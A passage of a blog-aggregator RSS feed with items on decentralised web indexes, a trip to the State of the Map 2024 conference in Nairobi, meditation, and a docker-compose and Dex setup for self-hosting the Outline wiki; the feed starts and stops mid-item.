            <enclosure url="https://images.unsplash.com/photo-1519869491916-8ca6f615d6bd?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwxOXx8YmlydGhkYXl8ZW58MHx8fHwxNzI3ODAxODkwfDA&ixlib=rb-4.0.3&q=80&w=1080" length="0" type="image//photo-1519869491916-8ca6f615d6bd"/>
        </item>
        <item>
            <title><![CDATA[Decentralised Open Indexes for Discovery (DOID)]]></title>
            <link>https://nadh.in/blog/decentralised-open-indexes/</link>
            <guid isPermaLink="false">https://nadh.in/blog/decentralised-open-indexes/</guid>
            <pubDate>Wed, 02 Oct 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[TLDR; A conceptual and technical framework for resource discovery on the WWW using decentralised, open, machine-readable indexes as the building block, free of eroding quality and gatekeeping by BigSearch™ and BigPlatform™, whose goals are not quality, but revenue.]]></description>
            <content:encoded><![CDATA[<p>TLDR; A conceptual and technical framework for resource discovery on the WWW using decentralised, open, machine-readable indexes as the building block, free of eroding quality and gatekeeping by <em>BigSearch™</em> and <em>BigPlatform™</em>, whose goals are not quality, but revenue.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[State of the Map Conference in Kenya]]></title>
            <link>https://ravidwivedi.in/posts/sotm-2024/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/sotm-2024/</guid>
            <pubDate>Tue, 01 Oct 2024 14:05:30 GMT</pubDate>
            <description><![CDATA[Last month, I traveled to Kenya to attend a conference called State of the Map 2024 (“SotM” for short), which is an annual meetup of OpenStreetMap contributors from all over the world. It was held at the University of Nairobi Towers in Nairobi, from the 6th to the 8th of September.

      
University of Nairobi.
I have been contributing to OpenStreetMap for the last three years, and this conference seemed like a great opportunity to network with others in the community. As soon as I came across the travel grant announcement, I jumped in and filled the form immediately. I was elated when I was selected for the grant and couldn’t wait to attend. The grant had an upper limit of €1200 and covered food, accommodation, travel and miscellaneous expenses such as visa fee.
Pre-travel tasks included obtaining Kenya’s eTA and getting a yellow fever vaccine. Before the conference, Mikko from the Humanitarian OpenStreetMap Team introduced me to Rabina and Pragya from Nepal, Ibtehal from Bangladesh, and Sajeevini from Sri Lanka. We all booked the Nairobi Transit Hotel, which was within walking distance of the conference venue. Pragya, Rabina, and I traveled together from Delhi to Nairobi, while Ibtehal was my roommate in the hotel.

      
Our group at the conference.
The venue, University of Nairobi Towers, was a tall building and the conference was held on the fourth, fifth and sixth floors. The open area on the fifth floor of the building had a nice view of Nairobi’s skyline and was a perfect spot for taking pictures. Interestingly, the university had a wing dedicated to Mahatma Gandhi, who is regarded in India as the Father of the Nation.

      
View of Nairobi's skyline from the open area on the fifth floor.

      
A library in Mahatma Gandhi wing of the University of Nairobi.
The diversity of the participants was mind-blowing, with people coming from a whopping 54 countries. I was surprised to notice that I was the only participant traveling from India, despite India having a large OpenStreetMap community. That said, there were two other Indian participants who traveled from other countries. I finally got to meet Arnalie (from the Phillipines) and Letwin (from Zimbabwe), both of whom I had only met online before. I had met Anisa (from Albania) earlier during DebConf 2023. But I missed Mikko and Honey from the Humanitarian OpenStreetMap Team, whom I knew from the Open Mapping Guru program.
I learned about the extent of OSM use through Pragya and Rabina’s talk; about the logistics of running the OSM Board, in the OSMF (OpenStreetMap Foundation) session; about the Youth Mappers from Sajeevini, about the OSM activities in Malawi from Priscilla Kapolo, and about mapping in Zimbabwe from Letwin. However, I missed Ibtehal’s lightning session. The ratio of women speakers and participants at the conference was impressive, and I hope we can get such gender representation in our Delhi/NCR mapping parties.

      
One of the conference halls where talks took place.
Outside of talks, the conference also had lunch and snack breaks, giving ample time for networking with others. In the food department, there were many options for a lacto-ovo vegetarian like myself, including potatoes, rice, beans, chips etc. I found out that the milk tea in Kenya (referred to as “white tea”) is usually not as strong compared to India, so I switched to coffee (which is also called “white coffee” when taken with milk). The food wasn’t spicy, but I can’t complain :) Fruit juices served as a nice addition to lunch.

      
One of the lunch meals served during the conference.
At the end of the second day of the conference, there was a surprise in store for us — a bus ride to the Bao Box restaurant. The ride gave us the experience of a typical Kenyan matatu (privately-owned minibuses used as share taxis), complete with loud rap music. I remember one of the songs being Kraff’s Nursery Rhymes. That day, I was wearing an original Kenyan cricket jersey - one that belonged to Dominic Wesonga, who represented Kenya in four ODIs. This confused Priscilla Kapolo, who asked if I was from Kenya! Anyway, while it served as a good conversation starter, it didn’t attract as much attention as I expected :) I had some pizza and chips there, and later some drinks with Ibtehal. After the party, Piyush went with us to our hotel and we played a few games of UNO.

      
Minibus which took us from the university to Bao Box restaurant.

      
This minibus in the picture gave a sense of a real matatu.
I am grateful to the organizers Laura and Dorothea for introducing me to Nikhil when I was searching for a companion for my post-conference trip. Nikhil was one of the aforementioned Indian participants, and a wildlife lover. We had some nice conversations; he wanted to go to the Masai Maara Natural Reserve, but it was too expensive for me. In addition, all the safaris were multi-day affairs, and I wasn’t keen on being around wildlife for that long. Eventually I chose to go my own way, exploring the coastal side and visiting Mombasa.
While most of the work regarding the conference was done using free software (including the reimbursement form and Mastodon announcements), I was disappointed by the use of WhatsApp for coordination with the participants. I don’t use WhatsApp and so was left out. WhatsApp is proprietary software (they do not provide the source code) and users don’t control it. It is common to highlight that OpenStreetMap is controlled by users and the community, rather than a company - this should apply to WhatsApp as well.
My suggestion is to use XMPP, which shares similar principles with OpenStreetMap, as it is privacy-respecting, controlled by users, and powered by free software. I understand the concern that there might not be many participants using XMPP already. Although it is a good idea to onboard people to free software like XMPP, we can also create a Matrix group, and bridge it with both the XMPP group and the Telegram group. In fact, using Matrix and bridging it with Telegram is how I communicated with the South Asian participants. While it’s not ideal - as Telegram’s servers are proprietary and centralized - but it’s certainly much better than creating a WhatsApp-only group. The setup can be bridged with IRC as well. On the other hand, self-hosted mailing lists for participants is also a good idea.
Finally, I would like to thank SotM for the generous grant, enabling me to attend this conference, meet the diverse community behind OSM and visit the beautiful country of Kenya. Stay tuned for the blog post on Kenya trip.
Thanks to Sahilister, Contrapunctus, Snehal and Badri for reviewing the draft of this blog post before publishing.]]></description>
            <content:encoded><![CDATA[<p>Last month, I traveled to Kenya to attend a conference called <a href="https://2024.stateofthemap.org/">State of the Map 2024</a> (&ldquo;SotM&rdquo; for short), which is an annual meetup of <a href="https://wiki.openstreetmap.org/wiki/About_OpenStreetMap">OpenStreetMap</a> contributors from all over the world. It was held at the University of Nairobi Towers in Nairobi, from the 6th to the 8th of September.</p>
<figure><img src="https://ravidwivedi.in/images/sotm-2024/university-of-nairobi.avif" width="700" loading="lazy"><figcaption>
      <h4>University of Nairobi.</h4>
    </figcaption>
</figure>

<p>I have been contributing to OpenStreetMap for the last three years, and this conference seemed like a great opportunity to network with others in the community. As soon as I came across the travel grant announcement, I jumped in and filled the form immediately. I was elated when I was selected for the grant and couldn&rsquo;t wait to attend. The grant had an upper limit of €1200 and covered food, accommodation, travel and miscellaneous expenses such as visa fee.</p>
<p>Pre-travel tasks included obtaining Kenya&rsquo;s eTA and getting a yellow fever vaccine. Before the conference, Mikko from the <a href="https://www.hotosm.org/">Humanitarian OpenStreetMap Team</a> introduced me to Rabina and Pragya from Nepal, Ibtehal from Bangladesh, and Sajeevini from Sri Lanka. We all booked the Nairobi Transit Hotel, which was within walking distance of the conference venue. Pragya, Rabina, and I traveled together from Delhi to Nairobi, while Ibtehal was my roommate in the hotel.</p>
<figure><img src="https://ravidwivedi.in/images/sotm-2024/south-asian-group.avif" width="700" loading="lazy"><figcaption>
      <h4>Our group at the conference.</h4>
    </figcaption>
</figure>

<p>The venue, University of Nairobi Towers, was a tall building and the conference was held on the fourth, fifth and sixth floors. The open area on the fifth floor of the building had a nice view of Nairobi&rsquo;s skyline and was a perfect spot for taking pictures. Interestingly, the university had a wing dedicated to <a href="https://en.wikipedia.org/wiki/Mahatma_Gandhi">Mahatma Gandhi</a>, who is regarded in India as the Father of the Nation.</p>
<figure><img src="https://ravidwivedi.in/images/sotm-2024/nairobi-skyline.avif" width="700" loading="lazy"><figcaption>
      <h4>View of Nairobi&#39;s skyline from the open area on the fifth floor.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/sotm-2024/gandhi-library.avif" width="700" loading="lazy"><figcaption>
      <h4>A library in Mahatma Gandhi wing of the University of Nairobi.</h4>
    </figcaption>
</figure>

<p>The diversity of the participants was mind-blowing, with people coming from a whopping 54 countries. I was surprised to notice that I was the only participant traveling from India, despite India having a large OpenStreetMap community. That said, there were two other Indian participants who traveled from other countries. I finally got to meet Arnalie (from the Phillipines) and Letwin (from Zimbabwe), both of whom I had only met online before. I had met Anisa (from Albania) earlier during <a href="https://ravidwivedi.in/posts/debconf23">DebConf 2023</a>. But I missed Mikko and Honey from the Humanitarian OpenStreetMap Team, whom I knew from the Open Mapping Guru program.</p>
<p>I learned about the extent of OSM use through Pragya and Rabina&rsquo;s talk; about the logistics of running the OSM Board, in the OSMF (OpenStreetMap Foundation) session; about the Youth Mappers from Sajeevini, about the OSM activities in Malawi from Priscilla Kapolo, and about mapping in Zimbabwe from Letwin. However, I missed Ibtehal&rsquo;s lightning session. The ratio of women speakers and participants at the conference was impressive, and I hope we can get such gender representation in our Delhi/NCR mapping parties.</p>
<figure><img src="https://ravidwivedi.in/images/sotm-2024/conference-hall.avif" width="700" loading="lazy"><figcaption>
      <h4>One of the conference halls where talks took place.</h4>
    </figcaption>
</figure>

<p>Outside of talks, the conference also had lunch and snack breaks, giving ample time for networking with others. In the food department, there were many options for a lacto-ovo vegetarian like myself, including potatoes, rice, beans, chips etc. I found out that the milk tea in Kenya (referred to as &ldquo;white tea&rdquo;) is usually not as strong compared to India, so I switched to coffee (which is also called &ldquo;white coffee&rdquo; when taken with milk). The food wasn&rsquo;t spicy, but I can&rsquo;t complain :) Fruit juices served as a nice addition to lunch.</p>
<figure><img src="https://ravidwivedi.in/images/sotm-2024/lunch.avif" width="700" loading="lazy"><figcaption>
      <h4>One of the lunch meals served during the conference.</h4>
    </figcaption>
</figure>

<p>At the end of the second day of the conference, there was a surprise in store for us — a bus ride to the Bao Box restaurant. The ride gave us the experience of a typical Kenyan <em>matatu</em> (privately-owned minibuses used as share taxis), complete with loud rap music. I remember one of the songs being Kraff&rsquo;s Nursery Rhymes. That day, I was wearing an original Kenyan cricket jersey - one that belonged to <a href="https://en.wikipedia.org/wiki/Dominic_Wesonga">Dominic Wesonga</a>, who represented Kenya in four <a href="https://en.wikipedia.org/wiki/One_Day_International">ODIs</a>. This confused Priscilla Kapolo, who asked if I was from Kenya! Anyway, while it served as a good conversation starter, it didn&rsquo;t attract as much attention as I expected :) I had some pizza and chips there, and later some drinks with Ibtehal. After the party, Piyush went with us to our hotel and we played a few games of UNO.</p>
<figure><img src="https://ravidwivedi.in/images/sotm-2024/minibus-from-outside.avif" width="700" loading="lazy"><figcaption>
      <h4>Minibus which took us from the university to Bao Box restaurant.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/sotm-2024/minibus-from-inside.avif" width="700" loading="lazy"><figcaption>
      <h4>This minibus in the picture gave a sense of a real matatu.</h4>
    </figcaption>
</figure>

<p>I am grateful to the organizers Laura and Dorothea for introducing me to Nikhil when I was searching for a companion for my post-conference trip. Nikhil was one of the aforementioned Indian participants, and a wildlife lover. We had some nice conversations; he wanted to go to the Masai Maara Natural Reserve, but it was too expensive for me. In addition, all the safaris were multi-day affairs, and I wasn&rsquo;t keen on being around wildlife for that long. Eventually I chose to go my own way, exploring the coastal side and visiting Mombasa.</p>
<p>While most of the work regarding the conference was done using <a href="https://fsfe.org/freesoftware/index.en.html">free software</a> (including the reimbursement form and Mastodon announcements), I was disappointed by the use of WhatsApp for coordination with the participants. I don&rsquo;t use WhatsApp and so was left out. WhatsApp is <a href="https://fsf.org.in/article/better-than-whatsapp">proprietary software</a> (they do not provide the source code) and <a href="https://seirdy.one/posts/2021/01/27/whatsapp-and-the-domestication-of-users/">users don&rsquo;t control it</a>. It is common to <a href="https://wiki.openstreetmap.org/wiki/FAQ#Why_don't_you_just_use_Google_Maps/whoever_for_your_data?">highlight</a> that OpenStreetMap is controlled by users and the community, rather than a company - this should apply to WhatsApp as well.</p>
<p>My suggestion is to use <a href="https://joinjabber.org">XMPP</a>, which shares similar principles with OpenStreetMap, as it is privacy-respecting, controlled by users, and powered by free software. I understand the concern that there might not be many participants using XMPP already. Although it is a good idea to onboard people to free software like XMPP, we can also create a Matrix group, and bridge it with both the XMPP group and the Telegram group. In fact, using Matrix and bridging it with Telegram is how I communicated with the South Asian participants. While it&rsquo;s not ideal - as Telegram&rsquo;s servers are proprietary and centralized - but it&rsquo;s certainly much better than creating a WhatsApp-only group. The setup can be bridged with IRC as well. On the other hand, self-hosted mailing lists for participants is also a good idea.</p>
<p>Finally, I would like to thank SotM for the generous grant, enabling me to attend this conference, meet the diverse community behind OSM and visit the beautiful country of Kenya. Stay tuned for the blog post on Kenya trip.</p>
<p><strong>Thanks to <a href="https://sahilister.in">Sahilister</a>, <a href="https://contrapunctus.codeberg.page">Contrapunctus</a>, <a href="https://inferred.in">Snehal</a> and <a href="https://badrihippo.thekambattu.rocks/">Badri</a> for reviewing the draft of this blog post before publishing.</strong></p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[The End of Suffering]]></title>
            <link>https://www.prashanthudupa.com/the-end-of-suffering/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/the-end-of-suffering/</guid>
            <pubDate>Tue, 01 Oct 2024 06:10:22 GMT</pubDate>
            <description><![CDATA[I think the purpose of meditation matters a lot. If we are after enlightenment, then its pursuit becomes a craving in itself and that ends up being a hindrance. However, if our intention is to end suffering, then we have a far more practical goal and infact letting go of craving becomes so much more […]]]></description>
            <content:encoded><![CDATA[I think the purpose of meditation matters a lot. If we are after enlightenment, then its pursuit becomes a craving in itself and that ends up being a hindrance. However, if our intention is to end suffering, then we have a far more practical goal and infact letting go of craving becomes so much more [&#8230;]]]></content:encoded>
            <author>Prashanth N Udupa</author>
            <category>Insight</category>
        </item>
        <item>
            <title><![CDATA[Self Hosting Outline Wiki]]></title>
            <link>https://mrkaran.dev/posts/setting-outline/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/setting-outline/</guid>
            <pubDate>Fri, 20 Sep 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[I recently discovered Outline a collaborative knowledge base. I wanted to self-host it on my server, but the mandatory auth provider requirement was off-putting. My server is on a private encrypted network (Tailscale) that only my approved devices in the tailnet can access, so I don’t really need authentication for my personal single-use apps. I found a few guides using Authelia/Keycloak, but these are heavy-duty applications that would consume a lot of resources (DBs, caches, proxies, and whatnot) just to have an OIDC provider for Outline.
There had to be a simpler way, right? Enter Dex. As recommended by my friend and colleague Chinmay, it turned out to be quite easy.
Here’s the full docker-compose.yml setup you need to get Outline up and running on your local instance!
services:

  outline:
    image: docker.getoutline.com/outlinewiki/outline:latest
    env_file: ./docker.env
    ports:
      - "3000:3000"
    volumes:
      - storage-data:/var/lib/outline/data
    depends_on:
      - postgres
      - redis
    environment:
      PGSSLMODE: disable

  redis:
    image: redis
    env_file: ./docker.env
    ports:
      - "6379:6379"
    healthcheck:
      test: [ "CMD", "redis-cli", "ping" ]
      interval: 10s
      timeout: 30s
      retries: 3

  postgres:
    image: postgres
    env_file: ./docker.env
    ports:
      - "5432:5432"
    volumes:
      - database-data:/var/lib/postgresql/data
    healthcheck:
      test: [ "CMD", "pg_isready", "-d", "outline", "-U", "user" ]
      interval: 30s
      timeout: 20s
      retries: 3
    environment:
      POSTGRES_USER: 'user'
      POSTGRES_PASSWORD: 'pass'
      POSTGRES_DB: 'outline'

  dex:
    image: dexidp/dex:v2.35.3
    ports:
      - "5556:5556"
    volumes:
      - ./dex:/etc/dex
    command: [ "dex", "serve", "/etc/dex/config.yaml" ]

volumes:
  storage-data:
  database-data:

You’ll need to add the following env variables as well
NODE_ENV=production
SECRET_KEY=your-key
UTILS_SECRET=your-key
DATABASE_URL=postgres://user:pass@postgres:5432/outline
PGSSLMODE=disable
REDIS_URL=redis://redis:6379
URL=http://localhost:3000
PORT=3000
FILE_STORAGE=local
FILE_STORAGE_LOCAL_ROOT_DIR=/var/lib/outline/data
FILE_STORAGE_UPLOAD_MAX_SIZE=262144000
OIDC_CLIENT_ID=outline
OIDC_CLIENT_SECRET=outline-secret
OIDC_AUTH_URI=http://localhost:5556/dex/auth
OIDC_TOKEN_URI=http://dex:5556/dex/token
OIDC_USERINFO_URI=http://dex:5556/dex/userinfo
OIDC_USERNAME_CLAIM=preferred_username
OIDC_DISPLAY_NAME=Dex
OIDC_SCOPES=openid profile email
FORCE_HTTPS=false
ENABLE_UPDATES=true
WEB_CONCURRENCY=1
DEBUG=http
LOG_LEVEL=info
And finally, to configure Dex, we need the following config:
issuer: http://localhost:5556/dex

storage:
  type: sqlite3
  config:
    file: /var/dex/dex.db

web:
  http: 0.0.0.0:5556

staticClients:
  - id: outline
    redirectURIs:
      - "http://localhost:3000/auth/oidc.callback"
    name: "Outline"
    secret: outline-secret

oauth2:
  skipApprovalScreen: true

enablePasswordDB: true

staticPasswords:
  - email: "admin@example.com"
    hash: "$2a$10$2b2cU8CPhOTaGrs1HRQuAueS7JTT5ZHsHSzYiFPm1leZck7Mc8T4W"
    username: "admin"
    userID: "08a8684b-db88-4b73-90a9-3cd1661f5466"
Voilà! With docker compose up, you’ll have an Outline server ready to go. You can log in using the admin user.]]></description>
            <content:encoded><![CDATA[<p>I recently discovered <a rel="external" href="https://www.getoutline.com/">Outline</a> a collaborative knowledge base. I wanted to self-host it on my server, but the mandatory auth provider requirement was off-putting. My server is on a private encrypted network (Tailscale) that only my approved devices in the tailnet can access, so I don’t really need authentication for my personal single-use apps. I found a few guides using Authelia/Keycloak, but these are heavy-duty applications that would consume a lot of resources (DBs, caches, proxies, and whatnot) just to have an OIDC provider for Outline.</p>
<p>There had to be a simpler way, right? Enter <a rel="external" href="https://github.com/dexidp/dex">Dex</a>. As recommended by my friend and colleague <a rel="external" href="https://maych.in/">Chinmay</a>, it turned out to be quite easy.</p>
<p>Here’s the full <code>docker-compose.yml</code> setup you need to get Outline up and running on your local instance!</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">s</span><span style="color: light-dark(#22863A, #8DDB8C);">ervices</span><span>:</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  o</span><span style="color: light-dark(#22863A, #8DDB8C);">utline</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> d</span><span style="color: light-dark(#032F62, #96D0FF);">ocker.getoutline.com/outlinewiki/outline:latest</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    e</span><span style="color: light-dark(#22863A, #8DDB8C);">nv_file</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> .</span><span style="color: light-dark(#032F62, #96D0FF);">/docker.env</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">orts</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">3000:3000</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> s</span><span style="color: light-dark(#032F62, #96D0FF);">torage-data:/var/lib/outline/data</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    d</span><span style="color: light-dark(#22863A, #8DDB8C);">epends_on</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">ostgres</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> r</span><span style="color: light-dark(#032F62, #96D0FF);">edis</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    e</span><span style="color: light-dark(#22863A, #8DDB8C);">nvironment</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      P</span><span style="color: light-dark(#22863A, #8DDB8C);">GSSLMODE</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> d</span><span style="color: light-dark(#032F62, #96D0FF);">isable</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  r</span><span style="color: light-dark(#22863A, #8DDB8C);">edis</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> r</span><span style="color: light-dark(#032F62, #96D0FF);">edis</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    e</span><span style="color: light-dark(#22863A, #8DDB8C);">nv_file</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> .</span><span style="color: light-dark(#032F62, #96D0FF);">/docker.env</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">orts</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">6379:6379</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    h</span><span style="color: light-dark(#22863A, #8DDB8C);">ealthcheck</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      t</span><span style="color: light-dark(#22863A, #8DDB8C);">est</span><span>:</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">CMD</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis-cli</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">ping</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> ]</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      i</span><span style="color: light-dark(#22863A, #8DDB8C);">nterval</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> 1</span><span style="color: light-dark(#032F62, #96D0FF);">0s</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      t</span><span style="color: light-dark(#22863A, #8DDB8C);">imeout</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> 3</span><span style="color: light-dark(#032F62, #96D0FF);">0s</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      r</span><span style="color: light-dark(#22863A, #8DDB8C);">etries</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 3</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  p</span><span style="color: light-dark(#22863A, #8DDB8C);">ostgres</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">ostgres</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    e</span><span style="color: light-dark(#22863A, #8DDB8C);">nv_file</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> .</span><span style="color: light-dark(#032F62, #96D0FF);">/docker.env</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">orts</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">5432:5432</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> d</span><span style="color: light-dark(#032F62, #96D0FF);">atabase-data:/var/lib/postgresql/data</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    h</span><span style="color: light-dark(#22863A, #8DDB8C);">ealthcheck</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      t</span><span style="color: light-dark(#22863A, #8DDB8C);">est</span><span>:</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">CMD</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">pg_isready</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">-d</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">outline</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">-U</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">user</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> ]</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      i</span><span style="color: light-dark(#22863A, #8DDB8C);">nterval</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> 3</span><span style="color: light-dark(#032F62, #96D0FF);">0s</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      t</span><span style="color: light-dark(#22863A, #8DDB8C);">imeout</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> 2</span><span style="color: light-dark(#032F62, #96D0FF);">0s</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      r</span><span style="color: light-dark(#22863A, #8DDB8C);">etries</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 3</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    e</span><span style="color: light-dark(#22863A, #8DDB8C);">nvironment</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      P</span><span style="color: light-dark(#22863A, #8DDB8C);">OSTGRES_USER</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">user</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      P</span><span style="color: light-dark(#22863A, #8DDB8C);">OSTGRES_PASSWORD</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">pass</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">      P</span><span style="color: light-dark(#22863A, #8DDB8C);">OSTGRES_DB</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">outline</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  d</span><span style="color: light-dark(#22863A, #8DDB8C);">ex</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> d</span><span style="color: light-dark(#032F62, #96D0FF);">exidp/dex:v2.35.3</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">orts</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">5556:5556</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> .</span><span style="color: light-dark(#032F62, #96D0FF);">/dex:/etc/dex</span></span>
